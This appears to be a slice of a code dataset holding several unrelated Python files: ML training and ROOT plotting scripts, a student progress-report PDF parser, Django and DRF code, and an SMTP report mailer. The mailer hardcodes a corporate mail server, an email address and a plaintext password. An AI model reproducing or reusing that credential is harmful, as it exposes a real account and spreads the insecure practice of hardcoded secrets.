combined_df[train_index:]\n\nlogger.info(f\"train_X : {train_X.shape}\")\nlogger.info(f\"test_X : {test_X.shape}\")\nlogger.info(f\"train_Y : {train_Y.shape}\")\n\n\n#####################\n# Build models\n#####################\n\n# Params are defines as dictionary above\nkf = StratifiedKFold(n_splits=N_FOLDS, random_state=SEED, shuffle=SHUFFLE)\nfeatures = train_X.columns\n\n#logger.info('################ Running with features ################')\nlogger.info(f'Feature names {features.values}')\nlogger.info(f'Target is {TARGET}')\n\nutility.update_tracking(run_id, \"no_of_features\", len(features), is_integer=True)\n\nresult_dict = utility.make_prediction_classification(logger, run_id, train_X, train_Y, test_X, features=features,\n params=lgb_params, seed=SEED, \n kf=kf, model_type=MODEL_TYPE, \n plot_feature_importance=PLOT_FEATURE_IMPORTANCE)\n\n\nutility.save_artifacts(logger, IS_TEST, PLOT_FEATURE_IMPORTANCE, \n result_dict, \n submission, \n MODEL_NUMBER, \n run_id, \n SUBMISSION_DIR, \n OOF_DIR, \n FI_DIR, \n FI_FIG_DIR)\n\nend = timer()\nutility.update_tracking(run_id, \"training_time\", (end - start), is_integer=True)\n# Update the comments\nutility.update_tracking(run_id, \"comments\", EXP_DETAILS)\nlogger.info('Done!')\n\n","sub_path":"src/modeling/lgbm_baseline_with_lexically_ordered_ordinal.py","file_name":"lgbm_baseline_with_lexically_ordered_ordinal.py","file_ext":"py","file_size_in_byte":8197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"111959885","text":"\n# Make plot of efficiency gain over mainFit vs pVal X\n# Time / event vs pVal\n# Times FSQ is called vs pVal X\n# F vs pValue\n# Times FSQ vs F\n# Time - time_main / event X\n# Quality tracks / s (normalised to mainFit) \n\nfrom ROOT import TFile, TH1, TGraphErrors, TF1, gStyle, gPad, TPaveText\nfrom plotFunc import LoadPlotFunc, DefineScat, DrawScat, DrawScatXLine, DrawScatX2Line, DrawScatYLine\nfrom ROOT import gROOT\n\nLoadPlotFunc()\n\n# Vectors\npValueCutLo = [ \"0.000\", \"0.001\", \"0.002\", \"0.003\", \"0.004\", \"0.005\", \"0.006\", \"0.007\", \"0.008\", \"0.009\", \"0.010\", \"0.011\", \"0.012\", \"0.013\", \"0.014\", \"0.015\", \"0.016\", \"0.017\", \"0.018\", \"0.019\", \"0.020\" ] \n\nNFSQ = [ 13509, 3811, 3527, 3348, 3239, 3135, 3060, 2995, 2928, 2878, 2824, 2777, 2730, 2687, 2656, 2626, 2589, 2546, 2515, 2487, 2460 ]\n\ntPerEvent = [ 19.5465, 8.93486, 8.53029, 8.29398, 8.22356, 8.03432, 7.95626, 7.89287, 7.8504, 7.67913, 7.65926, 7.65494, 7.65831, 7.60059, 7.54311, 7.4257, 7.44466, 7.27638, 7.34085, 7.25462, 7.20663 ]\n\n\n# Constants\nnEvents = 73\nt_m = 467.04524\nt_f = 1276.405\ntrk_m = 1962\ntrk_f = 2948\n\n# Holders\ntracks = [] \ntracksPerSecond = []\ntracksPerSecondNorm = []\ntimeLoss = []\nF = []\neff = []\npValueCutLoFloat = []\nNFSQPerEvent = []\n\nfile = TFile.Open(\"../plots/reco/recoPlots_pValueCutFineScan.root\")\n\ntgr_ = []\n\n# Fill holders\nfor i in range(len(pValueCutLo)):\n \n trk = (file.Get(pValueCutLo[i]+\"/Run\")).GetEntries()\n\n tracks.append(trk)\n tracksPerSecond.append(trk/(nEvents*tPerEvent[i]))\n tracksPerSecondNorm.append( (trk/(nEvents*tPerEvent[i])) / (trk_m/t_m) )\n timeLoss.append(tPerEvent[i] - t_m/nEvents)\n F.append((tPerEvent[i]-(t_m/nEvents))/(t_f/nEvents))\n eff.append(trk/trk_m)\n pValueCutLoFloat.append(float(pValueCutLo[i]))\n NFSQPerEvent.append(NFSQ[i]/nEvents)\n\n# Now Draw\n\nDrawScat(DefineScat(pValueCutLoFloat, eff), \";p-value low cut;Track efficiency over mainFit\",\"../images/mainFitEnhanced/fine/efficiency\")\nDrawScat(DefineScat(tPerEvent, eff), \";CPU time / event [s];Track efficiency over mainFit\",\"../images/mainFitEnhanced/fine/EffVsTime\")\n# DrawScat(DefineScat(pValueCutLoFloat, timeLoss), \";p-value low cut;CPU time increase / event [s]\",\"../images/mainFitEnhanced/fine/timeIncrease\")\nDrawScat(DefineScat(pValueCutLoFloat, NFSQPerEvent), \";p-value low cut;Times FSQ is called / event\",\"../images/mainFitEnhanced/fine/FSQCalls\")\nDrawScatX2Line(DefineScat(pValueCutLoFloat, tPerEvent), \";p-value low cut;CPU time / event [s]\",\"../images/mainFitEnhanced/fine/time\", t_m/nEvents, t_f/nEvents) \nDrawScat(DefineScat(pValueCutLoFloat, tracksPerSecondNorm), \";p-value low cut;Tracks per second (normalised to mainFit) [s^{-1}]\",\"../images/mainFitEnhanced/fine/tracksPerSecondNorm\")\ntgr = DefineScat(pValueCutLoFloat, tracksPerSecond)\ntgr.GetYaxis().SetRangeUser(1.5,4.5)\nDrawScatX2Line(tgr, \";p-value low cut;Quality tracks per second [s^{-1}]\",\"../images/mainFitEnhanced/fine/tracksPerSecond\", (trk_m/t_m), (trk_f/t_f))\n\n# What a mess\ntgr2 = DefineScat(F, NFSQPerEvent)\nlineFit = TF1(\"lineFit1\",\"pol1\")\nlineFit.SetLineWidth(3)\nlineFit.SetLineColor(1)\ntgr2.Fit(lineFit)\n# Stat box formatting\ngStyle.SetStatFormat(\"6.3g\")\ngStyle.SetOptFit(111)\ntgr2.Draw()\ngPad.Update()\nstatBox = tgr2.FindObject(\"stats\")\nstatBox.SetBorderSize(0)\n# statBox.SetY2NDC(0.89)\n# statBox.SetY1NDC(0.71)\n# statBox.SetX2NDC(0.49)\n# statBox.SetX1NDC(0.11)\nstatBox.SetX1NDC(0.11)\nstatBox.SetX2NDC(0.49)\nstatBox.SetY1NDC(0.69)\nstatBox.SetY2NDC(0.89)\n# txt1 = TPaveText(x_0,gPad.GetUymin()+0.1,x_0+30,gPad.GetUymin()+1.50)\ntxt1 = TPaveText(0.65,100,0.75,120)\ntxt1.AddText(str(lineFit.Eval(1-(t_m/t_f))))\nprint(lineFit.Eval(1-(t_m/t_f)))\ntxt1.SetFillColor(0)\ntxt1.SetTextFont(44)\ntxt1.SetTextSize(26)\n# statBox.SetTextFont(44)\n# statBox.SetTextSize(26)\nstatBox.Draw()\ngPad.Update()\ntxt1.Draw()\ngPad.Update()\nDrawScatYLine(tgr2, \";(t_{m+f} #minus t_{m})/t_{f} / event;Times FSQ is called / event\",\"../images/mainFitEnhanced/fine/FvsFSQCalls\", 1-(t_m/t_f))\n\n# Tested\n\n#DrawScat(DefineScat(pValueCutLoFloat, tPerEvent), \";p-value low cut;CPU time / event [s]\",\"../images/mainFitEnhanced/coarse/time\")\n\n\n# tracks_.append(tracks.GetEntries())\n# if(f == 0): tracksCoarse_.append(tracks.GetEntries())\n# else: tracksCoarseNoneWrong_.append(tracks.GetEntries())\n \n# xaxis_.append(float(thresholds[i])*1000)\n \n# tgr = DefineScat(xaxis_, tracks_)\n# tgr_.append(tgr)\n \n# DrawScat(tgr_[0],\";Lock low DCA threshold [#mum];Tracks\",\"../images/scans/tracksCoarse\")\n# DrawScat(tgr_[1],\";Lock low DCA threshold [#mum];Tracks with no wrong hits\",\"../images/scans/tracksCoarseNoneWrong\")\n\n# # Take ratio\n# ratio_ = [] \n\n# for i in range(len(tracksCoarse_)):\n\n# ratio_.append(tracksCoarseNoneWrong_[i] / tracksCoarse_[i])\n \n# tgr_ratio = DefineScat(xaxis_, ratio_)\n# DrawScat(tgr_ratio,\";Lock low DCA threshold [#mum];Fraction of tracks with no wrong hits\",\"../images/scans/tracksRatio\")\n\n\n # DrawScat(tgr2,\";Lock low DCA threshold [#mum];Tracks passing quality cuts with p-values < 5%\",\"../images/\"+config+\"/scans/qualityPValues\")\n\n","sub_path":"plotters/pValueWindowFineScan.py","file_name":"pValueWindowFineScan.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"364590242","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jul 28 14:40:54 2018\r\n\r\n@author: sylar\r\n\"\"\"\r\n\r\nimport numpy as np\r\n\r\ndef RepeatLine(a, b):\r\n X = np.loadtxt(a, delimiter=\",\")\r\n L = []\r\n D = []\r\n \r\n for i in range(len(X)-1):\r\n if(i <= len(X)-4):\r\n if((X[i]==X[i+1]).all()):\r\n if((X[i]==X[i+2]).all()):\r\n L.append(i+1)\r\n L.append(i+2)\r\n L.append(i+3)\r\n elif((X[i]==X[i+3]).all()):\r\n L.append(i+1)\r\n L.append(i+2)\r\n L.append(i+4)\r\n else:\r\n continue\r\n elif((X[i]==X[i+2]).all()):\r\n if((X[i]==X[i+3]).all()):\r\n L.append(i+1)\r\n L.append(i+3)\r\n L.append(i+4)\r\n else:\r\n continue\r\n elif(i == len(X)-3):\r\n if((X[i]==X[i+1]).all()):\r\n if((X[i]==X[i+2]).all()):\r\n L.append(i+1)\r\n L.append(i+2)\r\n L.append(i+3)\r\n \r\n for i in L:\r\n D.append(X[i-1])\r\n \r\n out = np.array(D)\r\n print(out.shape)\r\n \r\n np.savetxt(b, out, fmt='%.8e', delimiter = ',')\r\n \r\nRepeatLine(\"originalData/spectre011.csv\", 'repeat_011.csv')\r\nRepeatLine(\"originalData/spectre012.csv\", 'repeat_012.csv')\r\nRepeatLine(\"originalData/spectre013.csv\", 'repeat_013.csv')\r\nRepeatLine(\"originalData/spectre014.csv\", 'repeat_014.csv')","sub_path":"bulianxu.py","file_name":"bulianxu.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"95493458","text":"#coding = utf-8\nimport smtplib,sys\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.header import Header\nfrom datetime import datetime,timedelta\nfrom email.utils import formataddr\n\ndef SendMail(sender,receivers,file1,start_time,end_time):\n message = MIMEMultipart()\n message['From'] = sender\n message['To'] = receivers\n\n #计算日期和标题\n # end_time = datetime.now() - timedelta(days=1)\n # start_time = datetime.now() - timedelta(days=7)\n subject = start_time+\"至\"+end_time+\"周报\"\n\n message['Subject'] = Header(subject,\"utf-8\")\n\n message.attach(MIMEText('请查收附件,谢谢。','plain','utf-8'))\n #读取文件\n att1,att2 = None,None\n with open(file1,'rb') as op905:\n att1 = MIMEText(op905.read(),'base64','utf-8')\n att1[\"Content-Type\"] = 'application/octet-stream'\n att1[\"Content-Disposition\"] = 'attachment; filename='+file1+''\n message.attach(att1)\n #\n # with open(file2,'rb') as op906:\n # att2 = MIMEText(op906.read(),'base64','utf-8')\n # att2[\"Content-Type\"] = 'application/octet-stream'\n # att2[\"Content-Disposition\"] = 'attachment; filename='+file2+''\n # message.attach(att2)\n smtp = None\n try:\n smtp = smtplib.SMTP('mail.ncich.com.cn',25)\n smtp.login(sender,\"Dn1234\")\n smtp.sendmail(sender,receivers,message.as_string())\n print(\"发送成功\")\n except:\n print(\"发送失败\"+str(sys.exc_info()))\n finally:\n smtp.close()\n\n\nif __name__ == '__main__':\n mail = SendMail(\"ning.dai@ncich.com.cn\",\"ning.dai@ncich.com.cn\",\"op905.xls\")\n # message = MIMEMultipart()\n # message['From'] = formataddr([\"戴宁\",\"ning.dai@ncich.com.cn\"])\n # message['To'] = formataddr([\"戴宁\",\"ning.dai@ncich.com.cn\"])\n # message['Subject'] = \"测试\"\n # server = smtplib.SMTP(\"mail.ncich.com.cn\",25)\n # server.set_debuglevel(1)\n # server.login(\"ning.dai@ncich.com.cn\",\"Dn1234\")\n #\n # with open(\"op905.xls\",'rb') as rr:\n # att1 = MIMEText(rr.read(), 'base64', 'utf-8')\n # att1[\"Content-Type\"] = 'application/octet-stream'\n # att1[\"Content-Disposition\"] = 'attachment; filename=\"试试\"'\n # message.attach(att1)\n # server.sendmail('ning.dai@ncich.com.cn','ning.dai@ncich.com.cn', message.as_string())\n # server.quit()","sub_path":"plugin/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"49735706","text":"from django.db.models import Count, Q\nfrom django.views import generic\n\nfrom contributors.models import Organization\n\n\nclass DetailView(generic.DetailView):\n \"\"\"Organization's details.\"\"\"\n\n model = Organization\n template_name = 'organization_details.html'\n\n def get_context_data(self, **kwargs):\n \"\"\"Add additional context for the organization.\"\"\"\n context = super().get_context_data(**kwargs)\n\n repositories = (\n self.object.repository_set.filter(\n is_visible=True,\n contribution__contributor__is_visible=True,\n ).annotate(\n pull_requests=Count(\n 'contribution', filter=Q(contribution__type='pr'),\n ),\n issues=Count(\n 'contribution', filter=Q(contribution__type='iss'),\n ),\n contributors_count=Count(\n 'contribution__contributor', distinct=True,\n ),\n )\n )\n\n context['repositories'] = repositories\n return context\n","sub_path":"contributors/views/organization.py","file_name":"organization.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"528654003","text":"from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.converter import TextConverter\nfrom pdfminer.layout import LAParams\nfrom pdfminer.pdfpage import PDFPage\nfrom io import StringIO\nimport re\n\n# Yoakim's added\nimport collections\n\n# # # # # # # # # # # # # # # # #\n# REGULAR EXPRESSIONS (compiled)#\n# # # # # # # # # # # # # # # # #\n\n# Regex for finding specific data points in the report output\ncourse_id_regex = re.compile(r'^([0-9, A-Z]+-)?[0-9, A-Z]{4,}$')\nsemester_header_regex = re.compile(\n r'^([0-9]{4}\\s+Semester\\s+[1-2]{1}|Automatic Credit|Exempt|General|Elective|Designated|Not assigned to a specific year)$')\nelective_header_regex = re.compile(r'^(Automatic Credit|Exempt|Elective|Designated|General)$')\nunit_id_regex = re.compile(r'(^[A-Z]{4}[0-9]{4}$|^[0-9]{4,}|General|Elective|\\b(Elective|Option) not yet selected\\b)$')\nimproper_unit_id_regex = re.compile(r'^(General|Elective|\\b(Elective|Option) not yet selected\\b)$')\nversion_regex = re.compile(r'^[0-9]{1,2}$')\ncredit_value_regex = re.compile(r'^[0-9]{1,3}\\.[0-9]{1,2}$')\nunit_status_regex = re.compile(r'^(PASS|FAIL|PLN|ENR|WD)$')\n\n# Regex for eliminating multiple lines\nmultiple_newline = re.compile(r'\\n{2,}')\nstart_of_line_spaces = re.compile(r'^ +', re.MULTILINE)\nend_of_line_spaces = re.compile(r' +$', re.MULTILINE)\n\n# Regex for garbage found at the start of each progress report page\nstart_of_page_garbage_regex = re.compile(\n r'Curtin University[\\s]+Student Progress Report[\\s]+Student One[\\s]+As At[\\s]+')\n\n# Regex for garbage found at the end of each progress report page\npage_number_garbage_regex = re.compile(r'(Page\\s*[0-9]+(\\s)+of[\\s]+[0-9]+[\\s]+)')\nreport_id_garbage_regex = re.compile(r'(\\[[0-9, a-z, A-Z]{10}\\]|[0-9]{6}[A-Z]{1})')\nreport_timestamp_garbage_regex = re.compile(r'[0-9]{1,2}:[0-9]{1,2}:[0-9]{1,2}(AM|PM)')\nremove_start_of_page_regex = re.compile(r'(START OF PAGE)\\s+(.*\\s){3}')\nremove_all_unneeded_strings_regex = re.compile(r'^(?!Course:|'\n 'Automatic|'\n 'Exempt|'\n 'Elective|'\n 'Designated|'\n 'Option|'\n 'General|'\n '[0-9]{4}|'\n 'Not assigned to a specific year|'\n '\\bElective not yet selected\\b).+[a-z]+.*$', re.MULTILINE)\n\n# List of smaller, exact regex for garbage words and data\ngarbage_list = re.compile(r'(^BOE$|'\n '^Final$|'\n '^Grade$|'\n '^Mark$|'\n '^SWA:\\s*[0-9, .]*$|' # Plus data\n '^CWA:.*|'\n '^ADM$|'\n '^POTC$|'\n '^Type$|'\n '^Student ID:$|'\n '^Student Name:$|'\n '^Total number of credits for course completion: [0-9, .]+$|' # Plus data\n '^Total number of credits completed: [0-9, .]+$|' # Plus data\n '^Total Recognition of Prior Learning(.*?)[0-9, .]+$|' # Plus data\n '^PLANNED AND COMPLETED COMPONENTS$|'\n '^RECOGNITION OF PRIOR LEARNING$|'\n '^v. |'\n '^Student Name: )', re.MULTILINE)\n\n\n# # # # # # # # # # # # # # # # #\n# METHODS #\n# # # # # # # # # # # # # # # # #\n\n# Name: remove_garbage\n#\n# Purpose: Removes unneeded lines and data in the progress reporter output\n#\n# Params: report: The progress report output (string)\n#\n# Return: The improved progress report output (string)\n#\n# Notes: None\ndef remove_garbage(report):\n # Replace start and end of page garbage. Start of page signified by 'START OF PAGE'\n report = re.sub(start_of_page_garbage_regex, 'START OF PAGE\\n', report)\n report = re.sub(report_id_garbage_regex, '', report)\n report = re.sub(page_number_garbage_regex, '', report)\n report = re.sub(report_timestamp_garbage_regex, '', report)\n\n # Remove other unneeded information and labels\n report = re.sub(garbage_list, '', report)\n\n # Remove all gross unneeded whitespace\n report = re.sub(multiple_newline, '\\n', report)\n report = re.sub(start_of_line_spaces, '', report)\n report = re.sub(end_of_line_spaces, '', report)\n\n return report\n\n\n# Name: extract_student_details\n#\n# Purpose: Extracts the report date, student ID and student name. Also further unlabels input.\n#\n# Params: report: The progress report output after being thrown into remove_garbage (string)\n#\n# Return: A dictionary, containing the report date, students name, and ID, and the report\n# with these details removed. Also, the newly neutered report string.\n#\n# Notes: None\ndef extract_student_details(report):\n dict = {}\n splitLines = report.split('\\n')\n dict['date'] = splitLines[1]\n dict['id'] = splitLines[3]\n dict['name'] = splitLines[4]\n report = re.sub(remove_start_of_page_regex, '', report)\n report = re.sub(remove_all_unneeded_strings_regex, '', report)\n report = re.sub(multiple_newline, '\\n', report)\n return dict, report\n\n\n# Name: extract_progress_details\n#\n# Purpose: Extracts the student's most recent course, and the units a student has completed\n# (both in that course and outside that course, to count unit attempts in the backend)\n#\n# Params: report: The progress report output after being thrown into extract_student_details (string)\n# report_dict: A python dictionary containing a student's details.\n#\n# Return: A python dictionary which now contains a student's progress details.\n#\n# Notes: None\ndef extract_progress_details(report, report_dict):\n lines = report.split('\\n') # Split report into lines\n indexCount = len(lines) - 1\n i = 0 # Index for line counting\n units = {} # Variable stores all units in a dictionary\n unitsAuto = {} # Variable stores the most recently automatically credited units list\n\n while not lines[i]: # Go to start of file, skipping any whitespace (if applicable)\n i += 1\n\n while i < indexCount: # While not at end of file (Essentially, for each course)\n\n # Go to next instance of course from start of file\n while i < indexCount and 'Course' not in lines[i]:\n i += 1\n\n # Replace current course detail with new detail\n report_dict, i = extract_course_details(lines, report_dict, i)\n\n # Clear data from previous courses\n ignoredUnits = set() # Variable stores unit IDs the parser should ignore in future\n ignoredVersions = set() # Variable stores unit versions the parser should ignore in future\n ignoredCredits = set() # Variable stores unit credit worths the parser should ignore in future\n ignoredStatus = set() # # Variable stores unit statuses the parser should ignore in future\n unitsAuto = {}\n unitsPlanned = {}\n electiveCount = 1\n\n # Now you're at first semester header\n semHeaderRecent = lines[i]\n semHeaderRecentIdx = i\n\n # For each semester header, extract information about units completed.\n while i < indexCount and 'Course' not in lines[i]: # While not at EOF and not at the next course header\n semHeaderPrev = semHeaderRecent # Keep track of last sem header seen\n while i < indexCount and (\n 'Course' not in lines[i] and semHeaderRecent == semHeaderPrev): # For each semester\n semUnitIDs = [] # Stores the units taken in each semester\n semUnitDetails = [] # Stores the units version, credit worth and status as dictionaries\n\n i = semHeaderRecentIdx # Go to last known semester header and try again\n\n ### GET UNIT IDs ###\n # Advance to first unit ID from semester header that hasn't been read already\n while (i < indexCount and not re.match(unit_id_regex,\n lines[i])) or i == semHeaderRecentIdx or i in ignoredUnits:\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n # If header is Elective or General, only 1 unit ID. Otherwise, there are potentially more.\n expression = 're.match(unit_id_regex, lines[i])'\n if 'Elective' in semHeaderPrev or 'General' in semHeaderPrev:\n expression = 'lines[i] == semHeaderPrev'\n\n while eval(expression): # Iterate unit ID list\n # If ID is an elective, store as ELECTIVE instead\n unitID = lines[i]\n if re.match(improper_unit_id_regex, lines[i]):\n unitID = 'ELECTIVE' + str(electiveCount)\n electiveCount += 1\n semUnitIDs.append(unitID) # Add unit ID to list\n ignoredUnits.add(i) # Add current line to ignored index list\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n improperList = improper_unit_location(semUnitIDs)\n\n ### GET UNIT VERSIONS ###\n # Advance to first version from semester header that hasn't been read already\n if len(semUnitIDs) != len(improperList): # Only advance to next version if versions could exist\n while (i < indexCount and not re.match(version_regex, lines[i])) or i in ignoredVersions:\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n for count in range(0, (len(semUnitIDs) - len(improperList))): # Iterate version list\n semUnitDetails.append({'ver': lines[i]}) # Add unit version to list\n ignoredVersions.add(i) # Add current line to ignored version list\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n ### GET UNIT CREDIT WORTH ###\n # Advance to first credit worth from semester header that hasn't been read already\n while (i < indexCount and not re.match(credit_value_regex, lines[i])) or i in ignoredCredits:\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n for count in range(0, len(semUnitIDs)): # Iterate credit worth list\n if count in improperList:\n semUnitDetails.append({'credits': lines[i]})\n else:\n semUnitDetails[count].update({'credits': lines[i]})\n ignoredCredits.add(i) # Add current line to ignored version list\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n ### GET UNIT STATUS ###\n if re.match(elective_header_regex, semHeaderPrev): # If in autocredit header\n if 'Automatic' in semHeaderPrev:\n ignoredCredits.add(i) # Add total credit value to ignore list, then advance beyond that.\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n # If no credit information is between this line and next header, advance to next header\n if no_remaining_units(i, lines, ignoredCredits):\n while i < indexCount and not re.match(semester_header_regex, lines[i]):\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev,\n semHeaderRecent,\n semHeaderRecentIdx)\n else: # If in actual semester\n # Advance to first unit status from semester header that hasn't been read already\n while (i < indexCount and not re.match(unit_status_regex, lines[i])) or i in ignoredStatus:\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n for count in range(0, len(semUnitIDs)): # Iterate unit status list\n semUnitDetails[count].update({'status': lines[i]}) # Add unit status to list\n ignoredStatus.add(i) # Add current line to ignored version list\n i, semHeaderRecent, semHeaderRecentIdx = advance_line(lines, i, semHeaderPrev, semHeaderRecent,\n semHeaderRecentIdx)\n\n ### ADD UNITS TO DICTIONARY ###\n for index, unit in enumerate(semUnitIDs):\n if re.match(elective_header_regex, semHeaderPrev):\n unitsAuto.update({unit: semUnitDetails[index]})\n elif 'ENR' in (semUnitDetails[index])['status'] or 'PLN' in (semUnitDetails[index])['status']:\n unitsPlanned.update({unit: semUnitDetails[index]})\n else:\n if unit in units and 'attempt' in units[unit]:\n attempt = int((units[unit])['attempt']) + 1\n else:\n attempt = 1\n semUnitDetails[index].update({'attempt': attempt})\n units.update({unit: semUnitDetails[index]})\n report_dict['units'] = units\n report_dict['automatic'] = unitsAuto\n report_dict['planned'] = unitsPlanned\n return report_dict\n\n\n# Name: proper_unit_count\n#\n# Purpose: Returns the indexes that improper unit IDs are located in a list\n#\n# Params: unitList: A list containing unit IDs\n#\n# Return: improperList: A list of indexes which contain non-proper unit IDs\n#\n# Notes: Should only be called from extract_progress_details\ndef improper_unit_location(unitList):\n improperList = []\n for idx, unit in enumerate(unitList):\n if 'ELECTIVE' in unit:\n improperList.append(idx)\n return improperList\n\n\n# Name: no_remaining_units\n#\n# Purpose: Checks if all unit IDs in the automatic semester header have been covered fully\n#\n# Params: i: Current line number the parser is reading\n# lines: The progress report output after being thrown into extract_student_details (list of lines).\n# ignoredCredits: A set containing already read credit values\n#\n# Return: False if there are units remaining, true if there are no units remaining\n#\n# Notes: Should only be called from extract_progress_details\ndef no_remaining_units(i, lines, ignoredCredits):\n noneRemaining = True\n nextSemHeader = i\n\n # Go to next header and store its line index\n while nextSemHeader < len(lines) and not re.match(semester_header_regex, lines[nextSemHeader]):\n nextSemHeader += 1\n\n # If between current position and header there is a credit value, return true instead of false.\n for count in range(i, nextSemHeader):\n if re.match(credit_value_regex, lines[count]) and lines[count] not in ignoredCredits:\n noneRemaining = False\n return noneRemaining\n\n\n# Name: advance_line\n#\n# Purpose: Advances the line number in the parser, while checking for a new semester header\n#\n# Params: lines: The progress report output after being thrown into extract_student_details (list of lines).\n# i: The current line number the parser is reading\n# semHeaderRecent: The last unique semester header that the parser has hit\n# semHeaderPrevIdx: The line index of the last unique semester header that the parser has hit\n#\n# Return: i, the newly incremented line counter and semHeaderPrev, the updated (or not) semester header\n#\n# Notes: Should only be called from extract_progress_details\ndef advance_line(lines, i, semHeaderPrev, semHeaderRecent, semHeaderRecentIdx):\n i += 1\n if re.match(semester_header_regex, lines[i]) and lines[i] != semHeaderRecent and semHeaderPrev == semHeaderRecent:\n semHeaderRecent = lines[i]\n semHeaderRecentIdx = i\n return i, semHeaderRecent, semHeaderRecentIdx\n\n\n# Name: extract_course_details\n#\n# Purpose: Extracts the current course that the line index of the parser is at.\n#\n# Params: lines: The progress report output after being thrown into extract_student_details (list of lines)\n# report_dict: A python dictionary containing a student's details.\n# i: The current position of the parser's 'cursor'.\n#\n# Return: A python dictionary which now contains course details, and the index the parser is at.\n#\n# Notes: None\ndef extract_course_details(lines, report_dict, i):\n # courseDetails = {}\n # MODIFIED to use a OrderedDict() rather then dict\n courseDetails = collections.OrderedDict()\n ignoredVersions = set()\n semHeader = True\n while i < len(lines) - 1 and semHeader: # Loop through and extract course details\n if re.match(course_id_regex, lines[i]): # When a course ID is hit\n course = lines[i] # Store it and go fetch the version\n courseIndex = i # Store line index of course ID to return to later\n while not re.match(version_regex, lines[i]) or i in ignoredVersions: # When an unread version is hit\n i += 1\n ignoredVersions.add(i)\n version = lines[i] # Store version\n i = courseIndex + 1 # Return to the line after the course ID\n courseDetails[course] = version\n elif re.match(semester_header_regex, lines[i]):\n semHeader = False\n else:\n i += 1\n report_dict['course'] = courseDetails\n return report_dict, i\n\n\n# Name: convert_pdf_to_txt\n#\n# Purpose: Extracts the text contents of a PDF into a string.\n#\n# Params: path: The file pointer of the PDF to be extracted from (string)\n#\n# Return: The extracted text (string)\n#\n# Notes: Works with pdfminer.six for Python 3.5.2 as of 11 April 2017\ndef convert_pdf_to_txt(fp):\n rsrcmgr = PDFResourceManager()\n retstr = StringIO()\n codec = 'utf-8'\n laparams = LAParams()\n laparams.boxes_flow = 0.5\n device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n password = \"\"\n maxpages = 0\n caching = True\n pagenos = set()\n\n for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password, caching=caching,\n check_extractable=True):\n interpreter.process_page(page)\n\n text = retstr.getvalue()\n\n fp.close()\n device.close()\n retstr.close()\n return text\n\n\n# Name: parse_progress_report\n#\n# Purpose: Extracts PDF contents and interprets the results into a JSON-structured python dictionary.\n#\n# Params: fp: The file pointer of the pdf file to parse\n#\n# Return: A JSON-structured python dictionary representing the student's progress report.\n#\n# Notes: IMPORT THIS METHOD, THEN CALL IT\ndef parse_progress_report(fp):\n report = convert_pdf_to_txt(fp) # Converts PDF to text\n report = remove_garbage(report) # Removes unneeded labels from report\n report_dict, report = extract_student_details(report) # Extracts student details, including report date\n report_dict = extract_progress_details(report,\n report_dict) # Extracts unit details, including units done and units planned\n return report_dict","sub_path":"parser tests/progress_parser.py","file_name":"progress_parser.py","file_ext":"py","file_size_in_byte":20733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"454721423","text":"from rest_framework import serializers\n\nfrom api.models import Book, Press\nfrom drf_day3 import settings\n\nclass PressModelSerializer(serializers.ModelSerializer):\n class Meta:\n model = Press\n fields = [\"press_name\", \"address\"]\n\nclass BookModelSerializer(serializers.ModelSerializer):\n # 自定义连表查询\n # 必须是publish,必须是外键,否则报错,就是说这个publisher必须是当前表的外键,否则报错,或者底下的fields不显示publish也不行,也报错呢\n publish = PressModelSerializer() # 不加这句话之前就只显示1,2,3,之类的,加了以后,就显示上面那个类的fields里的东西\n\n class Meta:\n # 指定当前序列化器要序列化的模型\n model = Book\n # 比如说我只想要一个press_name\n fields = (\"book_name\", \"price\", \"publish\", \"press_name\", \"author_list\",\"pic\")\n\n # depth = 1 #不常用\n # fields = \"__all__\"\n # exclude = (\"create_time\",)#得加,\n\nclass BookDeModelSerializer(serializers.ModelSerializer):\n # 反序列化器\n class Meta:\n model = Book\n fields = (\"book_name\", \"price\", \"pic\", \"publish\", \"author\")\n\n # 添加DRF提供的默认校验,is_valid就是判断这个的\n extra_kwargs = {\n \"book_name\": {\n \"required\": True, # 必加字段,\n \"min_length\": 2, # 最小长度,\n \"error_messages\": {\n \"required\": \"图书名必须提供\", # 必加字段,\n \"min_length\": \"图书名不能小于2个字符\"\n }\n }\n }\n\n # 仍然支持全局钩子与局部钩子的使用\n\n def 